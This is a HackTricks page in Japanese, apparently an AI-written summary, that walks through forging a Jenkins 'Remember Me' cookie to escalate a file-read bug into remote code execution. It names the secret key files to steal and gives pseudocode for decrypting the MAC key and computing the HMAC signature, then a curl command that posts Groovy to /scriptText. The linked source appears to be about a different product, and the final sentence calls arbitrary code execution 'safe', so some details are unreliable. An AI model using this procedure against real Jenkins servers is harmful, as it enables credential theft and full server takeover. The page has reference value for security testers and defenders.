Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

このブログ投稿では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分で要約を作成する時間ができるまでの間のものです:

攻撃の前提条件

  • 機能要件: "Remember me"が有効である必要があります(デフォルト設定)。

  • アクセスレベル: 攻撃者は全体/読み取り権限が必要です。

  • 秘密アクセス: 重要なファイルからバイナリおよびテキストコンテンツを読み取る能力。

詳細な悪用プロセス

ステップ1: データ収集

ユーザー情報の取得

  • 各ユーザーのために$JENKINS_HOME/users/*.xmlからユーザー設定と秘密をアクセスして収集します:

  • ユーザー名

  • ユーザーシード

  • タイムスタンプ

  • パスワードハッシュ

秘密鍵の抽出

  • クッキーの署名に使用される暗号鍵を抽出します:

  • 秘密鍵: $JENKINS_HOME/secret.key

  • マスターキー: $JENKINS_HOME/secrets/master.key

  • MACキーのファイル: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

ステップ2: クッキーの偽造

トークンの準備

  • トークンの有効期限を計算:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // 現在の時間に1時間を追加
  • トークンのためのデータを連結:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MACキーの復号化

  • MACキーのファイルを復号化:

key = toAes128Key(masterKey)  // マスターキーをAES128キー形式に変換
decrypted = AES.decrypt(macFile, key)  // .macファイルを復号化
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

署名の計算

  • HMAC SHA256を計算:

mac = HmacSHA256(token, macKey)  // トークンとMACキーを使用してHMACを計算
tokenSignature = bytesToHexString(mac)  // MACを16進数文字列に変換

クッキーのエンコーディング

  • 最終クッキーを生成:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // クッキーのデータをBase64エンコード

ステップ3: コード実行

セッション認証

  • CSRFおよびセッショントークンを取得:

  • /crumbIssuer/api/jsonにリクエストを送信してJenkins-Crumbを取得します。

  • 応答からJSESSIONIDをキャプチャし、remember-meクッキーと一緒に使用します。

コマンド実行リクエスト

  • Groovyスクリプトを使用してPOSTリクエストを送信:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovyスクリプトは、Jenkins環境内でシステムレベルのコマンドや他の操作を実行するために使用できます。

提供されたcurlコマンドの例は、必要なヘッダーとクッキーを使用してJenkinsにリクエストを送信し、任意のコードを安全に実行する方法を示しています。

Support HackTricks

Last updated